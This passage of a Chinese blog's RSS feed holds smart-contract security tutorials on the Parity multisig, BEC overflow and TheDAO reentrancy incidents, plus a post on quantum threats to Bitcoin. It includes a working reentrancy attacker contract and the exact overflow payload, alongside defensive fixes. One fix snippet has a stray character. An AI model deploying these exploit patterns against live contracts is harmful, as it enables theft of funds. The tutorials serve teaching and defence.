<p><a href="https://etherscan.io/tx/0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec">https://etherscan.io/tx/0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec</a></p>
<p><strong>第二步：扫走资产</strong></p>
<p>拿到控制权后，黑客调用<code>execute</code>函数，分批把钱包里的ETH转到了自己的地址：<code>0xb3764761e297d6f121e79c32a65829cd1ddb4d32</code>。</p>
<p><strong>分批转账记录</strong>：</p>
<p><a href="https://etherscan.io/txs?a=0xb3764761e297d6f121e79c32a65829cd1ddb4d32&#x26;p=2">https://etherscan.io/txs?a=0xb3764761e297d6f121e79c32a65829cd1ddb4d32&#x26;p=2</a></p>
<p><strong>最终获得</strong>：</p>
<p><a href="https://etherscan.io/address/0xb3764761e297d6f121e79c32a65829cd1ddb4d32#internaltx">https://etherscan.io/address/0xb3764761e297d6f121e79c32a65829cd1ddb4d32#internaltx</a></p>
<h3><strong>影响：钱没了，信任也凉了</strong></h3>
<p>这次攻击卷走153,037 ETH（按当时ETH均价约200美元估算，约3060万美元），坑了不少用户和ICO项目。Parity紧急发布补丁，但被偷的钱已经拿不回来。社区一片哗然，大家开始质疑多签钱包的安全性，Parity的口碑也受了重创。</p>
<h2><strong>“血案”现场”</strong></h2>
<p><strong>想看原版代码？戳这儿：</strong></p>
<p><a href="https://github.com/openethereum/parity-ethereum/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol">https://github.com/openethereum/parity-ethereum/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol</a></p>
<p><strong>关键片段：</strong></p>
<ol>
<li>
<p>1. <strong>回退函数敞开大门</strong>这段代码遇到带数据的调用，就直接用<code>delegatecall</code>执行库合约的函数，没设权限检查。</p>
<pre><code class="language-solidity">function() payable {
    if (msg.value > 0)
        Deposit(msg.sender, msg.value);
    else if (msg.data.length > 0)
        _walletLibrary.delegatecall(msg.data);
}
</code></pre>
</li>
<li>
<p>2. <strong>initWallet不设防</strong>本该受保护的初始化函数，任何人都能调用，重设主人。</p>
<pre><code class="language-solidity">function initWallet(address[] _owners, uint256 _required, uint256 _daylimit) {
    initMultiowned(_owners, _required);
    initDaylimit(_daylimit);
}
</code></pre>
</li>
<li>
<p>3. <strong>execute成提款机</strong>只要你是<code>owners</code>之一，就能提取资产。</p>
<pre><code class="language-solidity">function execute(address _to, uint256 _value, bytes _data) external returns (bytes32) {
    require(isOwner(msg.sender));
    if (_to.call.value(_value)(_data)) {
        // 转账成功，否则交易回滚
    }
}
</code></pre>
</li>
</ol>
<p><strong>致命漏洞：</strong></p>
<p>回退函数的<code>delegatecall</code>没检查调用者，<code>initWallet</code>没加权限控制，黑客轻松改掉<code>owners</code>，再用<code>execute</code>转账。</p>
<h2><strong>还原攻击现场</strong></h2>
<h3><strong>漏洞合约（简版复现）</strong></h3>
<pre><code class="language-solidity">contract Wallet {
    address public _walletLibrary;

    constructor(address libraryAddress) {
        _walletLibrary = libraryAddress;
    }

    function() external payable {
        if (msg.data.length > 0) { // 带数据就能触发
            _walletLibrary.delegatecall(msg.data); // 调用initWallet
        }
    }
}

contract WalletLibrary {
    address[] public owners;

    function initWallet(address[] _owners, uint256 _required) public {
        initMultiowned(_owners, _required);
    }

    function initMultiowned(address[] _owners, uint256 _required) internal {
        owners = _owners; // 黑客篡改权限
    }

    function execute(address _to, uint256 _value, bytes _data) external {
        require(isOwner(msg.sender), "Not authorized");
        _to.call.value(_value)(_data);
    }

    function isOwner(address _addr) internal view returns (bool) {
        for (uint256 i = 0; i &#x3C; owners.length; i++) {
            if (owners[i] == _addr) return true;
        }
        return false;
    }
}
</code></pre>
<h3><strong>攻击步骤</strong></h3>
<p><strong>第一步：冒充主人</strong></p>
<ul>
<li>黑客构造<code>msg.data</code>，调用<code>initWallet</code>，把自己地址（<code>0xb3764761...</code>）塞进去。</li>
<li>通过回退函数的<code>delegatecall</code>，触发<code>initWallet</code>和<code>initMultiowned</code>，篡改<code>owners</code>。</li>
</ul>
<p><strong>第二步：提款跑路</strong></p>
<ul>
<li>黑客调用<code>execute</code>，输入自己的地址和ETH数量，把钱包里的资产转走。</li>
</ul>
<h3><strong>被攻击的本质原因</strong></h3>
<ul>
<li><strong>权限控制缺失</strong>：<code>delegatecall</code>未限制调用者，<code>initWallet</code>缺乏检查，导致黑客能随意篡改<code>owners</code>。</li>
</ul>
<h2><strong>咋防未授权访问攻击？</strong></h2>
<p>知道漏洞在哪，我们得防住。以下是三招实用办法：</p>
<h3><strong>1. 限制delegatecall调用</strong></h3>
<pre><code class="language-solidity">address owner;
function() external payable {
    require(msg.sender == owner, "Only owner allowed"); // 检查权限
    if (msg.data.length > 0) {
        _walletLibrary.delegatecall(msg.data);
    }
}
</code></pre>
<p><strong>效果</strong>：只有合约主人能调用<code>delegatecall</code>，外人没法插手。</p>
<h3><strong>2. 锁定初始化函数</strong></h3>
<pre><code class="language-solidity">bool initialized;
function initWallet(address[] _owners, uint256 _required) public {
    require(!initialized, "Already initialized"); // 仅能初始化一次
    initialized = true;
    owners = _owners;
}
</code></pre>
<p><strong>效果</strong>：初始化一次就锁住，黑客没法再改。</p>
<h3><strong>3. 用成熟库+审计</strong></h3>
<p>直接用OpenZeppelin的<code>Ownable</code>或<code>AccessControl</code>，再加全面的代码审计，确保没漏洞。</p>
<h2><strong>总结</strong></h2>
<p>未授权访问攻击本质上是“权限漏洞”埋下的隐患。Parity事件证明，只要<code>delegatecall</code>和<code>initWallet</code>没管好，黑客就能靠<code>execute</code>卷走3060万美元。智能合约的安全，归根结底靠权限控制。管好每扇门，才能挡住不速之客。</p>
<hr>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Thu, 13 Mar 2025 09:05:45 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】聊聊智能合约的溢出攻击</title>
      <link>https://yangxinmin.com/ethereum-overflow-attack</link>
      <guid isPermaLink="true">https://yangxinmin.com/ethereum-overflow-attack</guid>
      <description>溢出攻击是个什么东东？ 先打个生活中的比方： 想象你在玩一个老式计算器，最大只能显示9999。你输入9999再加1，结果不是10000，而是“溢出”变成了0。 溢出攻击就类似这样：黑客利用智能合约里数字的上限漏洞，让计算结果“翻车”归零，绕过检查，干坏事。在BEC代币事件中，攻击者就是靠这个“计算器</description>
      <content:encoded><![CDATA[<h2>溢出攻击是个什么东东？</h2>
<p><strong>先打个生活中的比方：</strong></p>
<p>想象你在玩一个老式计算器，最大只能显示9999。你输入9999再加1，结果不是10000，而是“溢出”变成了0。</p>
<p>溢出攻击就类似这样：黑客利用智能合约里数字的上限漏洞，让计算结果“翻车”归零，绕过检查，干坏事。在BEC代币事件中，攻击者就是靠这个“计算器Bug”，凭空转走了天量代币，把市场砸崩了。</p>
<p>溢出攻击的核心是<strong>Solidity中<code>uint256</code>的环绕特性</strong>：它的最大值是<code>2^256-1</code>，一旦超过就直接归零，要是减法出了负数还会跳到最大值。</p>
<p>在区块链世界，智能合约管着“真金白银”，一旦有漏洞，后果不堪设想。2018年的BEC代币事件就是个经典案例，价值几近归零的项目背后，藏着一个粗心的溢出漏洞。今天我们就来聊聊溢出攻击，看看它咋发生的，又该咋防？</p>
<h2>溢出攻击引发的“血案”</h2>
<h3>起因：一个看似普通的代币项目</h3>
<p>BEC（BeautyChain）是美图公司合作推出的代币，定位是个“区块链+美妆”的项目。用户可以用BEC交易美容服务，2018年初上线时挺火爆，总供应量70亿枚，基于ERC20标准开发。可这么个“明星项目”，安全真有保障吗？</p>
<h3>经过：漏洞被榨干</h3>
<p>2018年4月23日中午，黑客盯上了BEC的智能合约，用溢出攻击几小时内转出了天量代币。具体来说，他们调用了<code>batchTransfer</code>函数，传了个超大数字和两个地址，合约里一个乘法溢出归零，<code>balances[msg.sender] >= amount</code>的检查直接失效，黑客白捡了巨额BEC，然后在市场上抛售，代币价格瞬间崩到几乎为0。</p>
<h3>影响：市场瞬间崩盘</h3>
<p>BEC被攻击后，市场一片恐慌。抛售潮让BEC价值归零，投资者血本无归，项目直接“凉凉”。这次事件还波及了其他代币项目，大家开始质疑ERC20合约的安全性，开发者也意识到：一个小小的溢出漏洞，就能毁掉一个项目。</p>
<h2>“血案”现场</h2>
<p><strong>想看原版代码？戳这里：</strong></p>
<p><a href="https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code">https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code</a></p>
<p>重点看<code>batchTransfer</code>函数。</p>
<p><strong>致命一击在这行：</strong></p>
<pre><code class="language-solidity">uint256 amount = uint256(cnt) * _value;

</code></pre>
<p>这行代码直接做了个乘法，没检查溢出。结果呢？输入超大数字时，<code>amount</code>溢出归零，绕过了<code>balances[msg.sender] >= amount</code>的余额检查，黑客就能随便给自己加钱。</p>
<p><strong>BEC加钱现场：</strong></p>
<p><a href="https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f">https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f</a></p>
<h2>还原现场</h2>
<p>我们用BEC的例子还原一下攻击过程，看看是咋回事？</p>
<h3>漏洞合约（BEC片段）</h3>
<pre><code class="language-solidity">contract BecToken {
    using SafeMath for uint256;
    mapping(address => uint256) balances;

    // 批量转账
    function batchTransfer(address[] _receivers, uint256 _value) public returns (bool) {
        uint cnt = _receivers.length;
        uint256 amount = uint256(cnt) * _value;  // 这行就是坑
        require(cnt > 0 &#x26;&#x26; cnt &#x3C;= 20);
        require(_value > 0 &#x26;&#x26; balances[msg.sender] >= amount);
        balances[msg.sender] = balances[msg.sender].sub(amount);
        for (uint i = 0; i &#x3C; cnt; i++) {
            balances[_receivers[i]] = balances[_receivers[i]].add(_value);
            Transfer(msg.sender, _receivers[i], _value);
        }
        return true;
    }
}

</code></pre>
<p><strong>问题在哪？</strong></p>
<p><code>amount = uint256(cnt) * _value</code>没防溢出。黑客传了个超大<code>_value</code>，让它溢出归零，绕过检查。</p>
<h3>攻击步骤</h3>
<ol>
<li>BEC合约上线，里面有70亿枚代币，黑客盯着这块肥肉。</li>
<li>黑客调用<code>batchTransfer</code>，传参：<code>_receivers</code>是个长度为2的地址数组，<code>_value</code>设为<code>0x8000000000000000000000000000000000000000000000000000000000000000</code>（也就是<code>2^255</code>）。</li>
<li>计算时，<code>amount = 2 * 2^255 = 2^256</code>，溢出后<code>amount = 0</code>。余额检查一看“0”，放行！但<code>for</code>循环里按<code>_value</code>给两个地址各加了<code>2^255</code>个代币，黑客就像进了无人看管的银库。</li>
</ol>
<h3>单元测试</h3>
<p>针对以上的溢出漏洞，我们再来做个简单的测试：</p>
<pre><code>pragma solidity ^0.4.18;

contract BECTest {
    uint256 _value = 2**256/2;
    function mulTest() public constant returns (uint) {
        uint256 amount = 2 * _value;
        return amount;
    }
}

</code></pre>
<p>在Remix中运行，可以看到运行结果为0，溢出归零一目了然。</p>
<p><img src="/api/images/image/2026/10/efdae1f4002718a0-image.png" alt="image.png"></p>
<h3>被攻击的本质原因</h3>
<p>从技术角度看，溢出攻击的根源在于<strong>未检查的数学运算</strong>：</p>
<ul>
<li><strong>溢出特性</strong>：Solidity 0.4.x的<code>uint256</code>不防溢出，超过<code>2^256-1</code>就归零，BEC的<code>batchTransfer</code>直接用裸乘法，没挡住。</li>
<li><strong>粗心失误</strong>：合约导入了SafeMath，却忘了在乘法上用<code>mul</code>，检查被绕过。</li>
<li><strong>逻辑漏洞</strong>：余额检查看<code>amount</code>，实际转账用<code>_value</code>，黑客靠这个“错位”凭空加钱。</li>
</ul>
<p>本质上，这是开发者没重视大数字运算的风险，才让黑客钻了空子。</p>
<h2>怎么防溢出攻击？</h2>
<p>知道坑在哪，我们就得填上。以下是三招实用办法：</p>
<h3>1. 用SafeMath库</h3>
<pre><code class="language-solidity">function batchTransfer(address[] _receivers, uint256 _value) public returns (bool) {
    uint cnt = _receivers.length;
    uint256 amount = uint256(cnt).mul(_value);  // 用SafeMath
    require(cnt > 0 &#x26;&#x26; cnt &#x3C;= 20);
    require(_value > 0 &#x26;&#x26; balances[msg.sender] >= amount);
    balances[msg.sender] = balances[msg.sender].sub(amount);
    for (uint i = 0; i &#x3C; cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
}

</code></pre>
<p><strong>效果</strong>：SafeMath的<code>mul</code>溢出时会抛异常，交易回滚，不会让黑客得逞。</p>
<h3>2. 手动检查溢出</h3>
<pre><code class="language-solidity">function batchTransfer(address[] _receivers, uint256 _value) public returns (bool) {
    uint cnt = _receivers.length;
    uint256 amount = uint256(cnt) * _value;
    require(cnt > 0 &#x26;&#x26; cnt &#x3C;= 20);
    require(_value > 0 &#x26;&#x26; balances[msg.sender] >= amount);
    require(amount / cnt == _value);  // 检查溢出
    balances[msg.sender] = balances[msg.sender].sub(amount);
    for (uint i = 0; i &#x3C; cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;x
}

</code></pre>
<p><strong>效果</strong>：溢出时<code>amount / cnt</code>不等于<code>_value</code>，条件失败，挡住攻击。</p>
<h3>3. 升级Solidity版本</h3>
<p>Solidity 0.8.0+默认启用了溢出检查，超限会自动报错。改用新版本，裸运算也能防溢出，既省心又安全。</p>
<h2>总结</h2>
<p>溢出攻击，说到底就是“数字归零”的致命陷阱。BEC事件给我们上了生动一课：一个粗心的乘法，就能让天量代币凭空消失，项目瞬间崩盘。智能合约代码写得再漂亮，运算没管好就是纸老虎。尤其涉及资金时，每一行数学代码都得瞪大眼睛检查。开发者别心存侥幸，赶紧用SafeMath或新版Solidity把溢出这块“漏水地板”修牢，别等黑客上门才后悔！</p>
<hr>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Thu, 13 Mar 2025 03:18:00 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】聊聊智能合约的重入攻击</title>
      <link>https://yangxinmin.com/ethereum-reentrancy-attack</link>
      <guid isPermaLink="true">https://yangxinmin.com/ethereum-reentrancy-attack</guid>
      <description>重入攻击是个啥玩意儿？ 先打个生活中的比方： 你去ATM取钱，机器有个Bug：先吐出100块现金，然后才扣你账户的钱。正常人拿了钱就走，但如果你手速够快，在它扣款前又按了一次“取款”，机器可能又吐100块给你。你多按几次，账户还没扣款，就已经被你取了好几百。这就跟重入攻击差不多：ATM（智能合约）先</description>
      <content:encoded><![CDATA[<h2>重入攻击是个啥玩意儿？</h2>
<p><strong>先打个生活中的比方：</strong></p>
<p>你去ATM取钱，机器有个Bug：先吐出100块现金，然后才扣你账户的钱。正常人拿了钱就走，但如果你手速够快，在它扣款前又按了一次“取款”，机器可能又吐100块给你。你多按几次，账户还没扣款，就已经被你取了好几百。这就跟重入攻击差不多：ATM（智能合约）先干活（吐钱），你在它记账（扣款）前反复操作，把钱“偷”走。</p>
<p>重入攻击的核心就是利用“<strong>先做事、后记账</strong>”的顺序问题，在账本更新前反复“薅羊毛”。在智能合约里，“做事”通常是转账ETH，“记账”是更新余额。只要顺序不对，攻击者就能钻空子。所以写代码时，得先把账算清楚，再干别的，别给坏人留机会！</p>
<p>在区块链的世界里，智能合约就像个自动执行的“机器人”，规则写好了没人能改，多酷啊！但如果代码有漏洞，后果可就惨了。2016年的TheDAO事件就是个血淋淋的例子，不仅丢了几百万美元的ETH，还把以太坊社区搞分裂了。今天我们就来聊聊重入攻击，看看它咋发生的，又该咋防。</p>
<h2>重入攻击引发的“血案”</h2>
<h3>起因：一个大胆的实验</h3>
<p>TheDAO是个去中心化自治组织，简单说就是个“众筹投资平台”。你投ETH进去，换成DAO代币，然后大家投票决定把钱投给啥项目，有点像区块链版的“投资俱乐部”。2016年，TheDAO刚上线就吸金1.5亿美金的ETH（当时占以太坊流通量的14%），一时风头无两。
可这么大一笔钱全靠智能合约管，代码安全吗？</p>
<h3>经过：漏洞被榨干</h3>
<p>2016年6月，一个攻击者发现了TheDAO的漏洞，用“重入攻击”几小时内偷走了360万ETH（当时值6000万美元）。问题出在<code>splitDAO</code>函数，这函数本是让用户退出组织、拿回ETH用的，但逻辑有毛病：先把ETH转给用户，再更新余额。攻击者抓住这个空子，反复调用<code>splitDAO</code>，在余额清零前把钱掏空。</p>
<h3>影响：社区大分裂</h3>
<p>TheDAO被偷后，以太坊社区炸开了锅。有人说：“区块链不是不可改吗？丢了就认了吧。”但更多人觉得不能便宜了攻击者。于是，以太坊基金会搞了个“硬分叉”，回滚交易把钱还回去。这招救回了资金，可也惹恼了一部分人，他们坚持“不改规则”，继续维护老链，成了后来的以太坊经典（ETC）。新链叫ETH，从此一分为二，重入攻击也成了安全史上绕不过去的坎。</p>
<h2>“血案”现场</h2>
<p><strong>想看原版代码？戳这里：</strong></p>
<p><a href="https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code">https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code</a></p>
<p>重点看<code>splitDAO</code>和<code>withdrawRewardFor</code>函数。</p>
<p><strong>致命一击在这行：</strong></p>
<pre><code class="language-solidity">if (_recipient.call.value(_amount)()) {

</code></pre>
<p>这行代码用<code>call</code>函数给<code>_recipient</code>转账<code>_amount</code>的ETH，结果触发了接收方的<code>fallback</code>函数。攻击者在这儿动手脚，在余额更新前反复调用<code>splitDAO</code>，把钱偷光。</p>
<h2>还原现场</h2>
<p>我们用个简单例子还原一下攻击过程，看看是咋回事？</p>
<h3>漏洞合约（Bank.sol）</h3>
<pre><code class="language-solidity">contract Bank {
    mapping (address => uint) public balances;

    // 存钱
    function deposit() public payable {
        balances[msg.sender] = msg.value;
    }

    // 取钱（有坑）
    function withdraw() public {
        if (!msg.sender.call.value(balances[msg.sender])()) { // 这行就是坑
            revert();
        }
        balances[msg.sender] = 0; // 取完清零
    }
}

</code></pre>
<p><strong>问题在哪？</strong> 先转账后清零，攻击者能在清零前多取几次钱。</p>
<h3>攻击合约（Hacker.sol）</h3>
<pre><code class="language-solidity">contract Hacker {
    Bank public bank;

    constructor(address _bank) public {
        bank = Bank(_bank);
    }

    // 攻击入口
    function attack() public payable {
        bank.deposit.value(msg.value)(); // 先存点钱
        bank.withdraw();                 // 再取钱
    }

    // 收到钱时自动触发
    function() public payable {
        if (address(bank).balance >= msg.value) { // Bank还有钱就继续取
            bank.withdraw();
        }
    }
}

</code></pre>
<h3>攻击步骤</h3>
<ol>
<li>TheDAO项目（假设是<code>Bank</code>合约）上线，里面众筹了很多投资者的钱。</li>
<li>黑客部署<code>Hacker</code>合约，调用<code>attack</code>，先存点ETH（比如5 ETH），然后取钱。</li>
<li><code>Bank</code>的<code>withdraw</code>转账时触发<code>Hacker</code>的<code>fallback</code>，再调用<code>withdraw</code>，反复取钱，直到把<code>Bank</code>掏空。</li>
</ol>
<p><img src="/api/images/image/2026/10/b1445cc6eb47e52b-image.png" alt="image.png"></p>
<h3>被攻击的本质原因</h3>
<p>从技术角度看，重入攻击的根源在于<strong>外部调用的状态管理不当</strong>。具体来说：</p>
<ul>
<li><strong>逻辑顺序错误</strong>：<code>withdraw</code>函数先通过<code>call</code>执行外部转账，再更新余额。这给了攻击者窗口期，在余额清零前反复操作。</li>
<li><strong><code>call</code>的低级特性</strong>：<code>call</code>是个低级调用函数，会把大量gas（默认剩余全部gas）交给被调用方，还允许对方跑任意代码。攻击者靠这个在<code>fallback</code>里递归调用<code>withdraw</code>。</li>
<li><strong>缺乏重入保护</strong>：TheDAO用的早期Solidity版本（0.4.x）没内置防重入机制，开发者得自己防着点。但<code>Bank</code>没限制递归调用，攻击者就能无限“插队”偷钱。
本质上，这是开发时没算准外部调用的风险，加上状态和交互顺序没搞对，才让攻击得手。</li>
</ul>
<h2>怎么防重入攻击？</h2>
<p>知道坑在哪，我们就得填上。以下是四招实用办法：</p>
<h3>1. 先改状态，再调用</h3>
<pre><code class="language-solidity">function withdraw() public {
    uint amount = balances[msg.sender];
    balances[msg.sender] = 0; // 先清零
    if (!msg.sender.call.value(amount)()) {
        revert();
    }
}

</code></pre>
<p>先把账记好再转账，就算攻击者重入也没钱可拿。</p>
<h3>2. 加把锁</h3>
<pre><code class="language-solidity">bool private locked;
modifier noReentrancy() {
    require(!locked, "别重入了！");
    locked = true;
    _;
    locked = false;
}
function withdraw() public noReentrancy { /* ... */ }

</code></pre>
<p>锁上门，攻击者想再进来也没辙。或者直接用OpenZeppelin的<code>ReentrancyGuard</code>，省事又安全。</p>
<h3>3. 用<code>transfer</code>或<code>send</code>换掉<code>call</code></h3>
<p><code>call</code>太“豪放”，给的gas太多，攻击者能搞乱。换成<code>transfer</code>或<code>send</code>，只给2300 gas，限制了<code>fallback</code>的发挥。不过得注意，gas不够时转账会失败，合约得做好失败处理。</p>
<h3>4. 升级Solidity版本</h3>
<p>Solidity 0.8.0之后，<code>call</code>失败会自动报错，不用自己写一堆检查。配合现成的安全库，防重入更省心。</p>
<h3>总结</h3>
<p>重入攻击说白了，就是“先做事、后记账”惹的祸。TheDAO事件给我们敲了个警钟：智能合约再牛，逻辑有漏洞也能翻车。尤其在“真金白银”的场景里，多留个心眼总没错！</p>
<hr>
]]></content:encoded>
      <category>以太坊</category>
      <pubDate>Thu, 13 Mar 2025 01:52:13 GMT</pubDate>
    </item>
    <item>
      <title>比特币能否被量子计算攻破？</title>
      <link>https://yangxinmin.com/bitcoin-quantum-computing</link>
      <guid isPermaLink="true">https://yangxinmin.com/bitcoin-quantum-computing</guid>
      <description>结论 先说结论：理论上能攻破，但实际上不可能发生。 为什么？ 因为设计者中本聪在设计之初就考虑到了量子计算的威胁，巧妙地为其准备了3个锦囊（安全防线）：隐身术、闪电战、终极进化。只需在不同时期按顺序掏出这些锦囊，比特币就能逢凶化吉。 这3个锦囊到底是什么东东，为何如此强大？简单解释一下： - 隐身术</description>
      <content:encoded><![CDATA[<h2><strong>结论</strong></h2>
<p>先说结论：<strong>理论上能攻破，但实际上不可能发生</strong>。</p>
<p>为什么？</p>
<p>因为设计者中本聪在设计之初就考虑到了量子计算的威胁，巧妙地为其准备了3个锦囊（安全防线）：<strong>隐身术</strong>、<strong>闪电战</strong>、<strong>终极进化</strong>。只需在不同时期按顺序掏出这些锦囊，比特币就能逢凶化吉。</p>
<p>这3个锦囊到底是什么东东，为何如此强大？简单解释一下：</p>
<ul>
<li><strong>隐身术</strong>：用哈希算法把公钥变成“谜语地址”，不花费BTC绝不露脸。比如UTXO中的公钥哈希、钱包地址中的公钥哈希，让量子计算找不到攻击入口（就像一扇锁死的铁门）。</li>
<li><strong>闪电战</strong>：只有在花费BTC时才暴露公钥，而且只露一次，因为HD钱包会自动换新地址，攻击窗口极短（约一个区块时间，10分钟左右）。即便量子计算找到入口，比特币留给它的时间太短，窗口一关，入口又得重找，攻击无从下手。</li>
<li><strong>终极进化</strong>：直接脱胎换骨，把现行加密算法升级为抗量子攻击的新算法，彻底无敌。</li>
</ul>
<p><strong>隐身术</strong>和<strong>闪电战</strong>适合量子计算还不成熟的阶段（也就是现在），而<strong>终极进化</strong>则是量子计算超级成熟时的杀手锏。这就粗略解释了开头那句“理论上能攻破，但实际上不可能发生”。</p>
<blockquote>
<p>上文提到的HD钱包是什么东东？可参考阅读我的另一篇文章。</p>
</blockquote>
<p>是不是还有点云里雾里？别急，下面我们掰开揉碎了讲清楚。</p>
<h2><strong>比特币的账户</strong></h2>
<p>我们先来科普一下概念。</p>
<p>比特币的账户由3个部分组成：<strong>私钥</strong>、<strong>公钥</strong>、<strong>比特币钱包地址</strong>。</p>
<ul>
<li>私钥推导出公钥（反推不行），公钥再推导出比特币钱包地址。</li>
<li>私钥是掌控BTC资产的关键，丢了就等于丢了所有钱，必须由用户自己保密。</li>
</ul>
<p>说人话就是：</p>
<ul>
<li><strong>私钥</strong> ≈ 银行卡号 + 密码</li>
<li><strong>公钥</strong> ≈ 银行卡号</li>
<li><strong>比特币钱包地址</strong> ≈ 被特殊处理的银行卡号二维码</li>
</ul>
<p>接收BTC时，你只需要亮出<strong>比特币钱包地址</strong>（那个“二维码”），而不直接暴露<strong>公钥</strong> （银行卡号）。只有花钱时才会用到公钥，而私钥要是丢了，账号里的BTC就全没了。</p>
<h2><strong>比特币中涉及的加密算法</strong></h2>
<p>再来看比特币用到了哪些加密算法，捋一捋账户生成和交易签名的过程：</p>
<ul>
<li><strong>私钥</strong>：一个随机生成的256位二进制数（通过安全的随机数生成器产生）。</li>
<li><strong>公钥</strong>：由私钥通过<strong>ECDSA（secp256k1）</strong> 算法生成（secp256k1是比特币专用的椭圆曲线标准）。</li>
<li><strong>公钥哈希</strong>：<code>RIPEMD-160(SHA-256(公钥))</code></li>
<li><strong>比特币钱包地址</strong>：<code>Base58Check(版本号 + 公钥哈希)</code></li>
<li><strong>签名</strong>：用<strong>ECDSA（secp256k1椭圆曲线）</strong> 算法对交易进行签名，确保交易合法。</li>
</ul>
<blockquote>
<p>小贴士：通过解析钱包地址只能拿到公钥哈希，没法直接拿到公钥。</p>
</blockquote>
<p>小结一下，比特币用到了三大加密算法：</p>
<ul>
<li><strong>SHA-256</strong>：哈希算法</li>
<li><strong>RIPEMD-160</strong>：哈希算法</li>
<li><strong>secp256k1</strong>：即ECDSA，椭圆曲线数字签名算法</li>
</ul>
<p>这些算法就是比特币安全性的基石。</p>
<h2><strong>量子攻击的"闯关路线图"</strong></h2>
<p>比特币网络就像一个去中心化的银行，里面存着大家的比特币账户，账户上有UTXO（未花费交易输出，代表BTC数量），承载着整个网络的价值。</p>
<p>量子攻击者的终极目标就是拿到每个账户的<strong>私钥</strong>，把BTC转走。达成此目标必须完成两关挑战：</p>
<ol>
<li>
<ol>
<li>先破解公钥哈希，拿到公钥；</li>
</ol>
</li>
<li>
<ol start="2">
<li>再从公钥反推出私钥，转走钱包里的BTC。</li>
</ol>
</li>
</ol>
<p>我们逐关分析量子计算机的破关可能性：</p>
<h3><strong>第一关：哈希算法（SHA-256 &#x26; RIPEMD-160）</strong></h3>
<h3><strong>单向性与抗碰撞性</strong></h3>
<p>SHA-256 和 RIPEMD-160 是哈希算法，核心特点是<strong>单向性</strong>：从输出几乎不可能反推出输入。</p>
<p>量子计算有个杀手锏叫<strong>Grover算法</strong>，能让暴力搜索速度提升到“平方根级别”。比如，经典计算机破解需要2^n次计算，量子计算机用Grover算法只需要2^(n/2)次。对于SHA-256来说，原本256位的安全强度会被削到128位。128位听着还挺安全，但在理论上，量子计算确实能加速破解哈希算法。</p>
<h3><strong>实际影响</strong></h3>
<p>不过别慌，比特币的钱包地址是公钥经过SHA-256和RIPEMD-160双重哈希生成的，公钥信息被藏得严严实实。哈希过程是有损的，根本没有逆运算。即使量子计算加速了搜索，也没法从哈希值直接还原公钥。换句话说，攻击者面对的是一扇没钥匙的铁门，空有大力气也使不上。</p>
<h3><strong>第二关：椭圆曲线加密（ECDSA）</strong></h3>
<h3><strong>ECDSA的理论脆弱性</strong></h3>
<p>ECDSA的安全性靠的是<strong>椭圆曲线离散对数问题（ECDLP）的难度。量子计算的Shor算法</strong>是个大杀器，理论上能高效解决这个问题。如果有足够强大的量子计算机，就能从公开的公钥反推出私钥，把账户掏空。</p>
<h3><strong>现实中的难度</strong></h3>
<p>但现实没那么吓人。现在的量子计算机还在实验室里蹒跚学步，量子比特数量少得可怜，纠错技术也跟不上。要破解比特币的secp256k1曲线，估计得要几千甚至上万个稳定的量子比特，这在短中期内几乎是天方夜谭。</p>
<p>而且，比特币早有防备：公钥只有在花钱时才暴露，暴露后HD钱包立刻换新地址，留给攻击者的时间窗口极短（约一个区块时间，10分钟左右）。量子计算就算再牛，也几乎不可能在这点时间里搞定。</p>
<h2><strong>终极防御：进化基因</strong></h2>
<p>即便量子计算机某天真的突破极限，比特币还有终极大招——<strong>算法升级</strong>。就像生物通过基因突变适应环境，比特币社区可以<strong>通过软分叉无缝切换到抗量子算法</strong>，比如格密码（Lattice-based cryptography，基于数学网格的加密）或哈希签名（Hash-based signatures，基于哈希的签名）。事实上，抗量子加密算法早已进入测试阶段，随时待命。</p>
<h2><strong>总结</strong></h2>
<p>总而言之，比特币面对量子计算的威胁，靠的是多重防护：</p>
<ol>
<li>1. <strong>隐身术（哈希保护）</strong>：公钥藏在哈希地址里，没花钱就不露脸，量子计算找不到下手的地方。</li>
<li>2. <strong>闪电战（短暂暴露）</strong>：花钱时公钥只露极短时间，HD钱包一换地址，攻击窗口就没了，量子计算追不上这速度。</li>
<li>3. <strong>终极进化（算法升级）</strong>：等量子计算真牛起来了，比特币可以升级协议，换上抗量子算法，继续坚挺。</li>
</ol>
<p>所以，虽然理论上量子计算能威胁到比特币的加密体系，但实际上，受限于技术发展和比特币的灵活设计，这种威胁短期内不会成真。中本聪的“锦囊妙计”让比特币在量子时代也能稳坐钓鱼台。</p>
<hr>
]]></content:encoded>
      <category>区块链</category>
      <pubDate>Sat, 08 Mar 2025 17:05:02 GMT</pubDate>
    </item>
    <item>
      <title>我在HD Wallet上交的一笔学费</title>
      <link>https://yangxinmin.com/hd-wallet-lesson</link>
      <guid isPermaLink="true">https://yangxinmin.com/hd-wallet-lesson</guid>
      <description>一个不愿提及的教训 2021年的一天，我丢失了价值约¥2W的数字货币。这源于一个愚蠢的操作，至今记忆犹新。回顾起来，这是在HD Wallet理解上交的一笔“学费”。 事情是这样的：我用一个测试钱包接收了一笔USDT，这个钱包的助记词曾在我的博客文章（如何使用MetaMask）中公开过。我知道这个助记</description>
      <content:encoded><![CDATA[<h2><strong>一个不愿提及的教训</strong></h2>
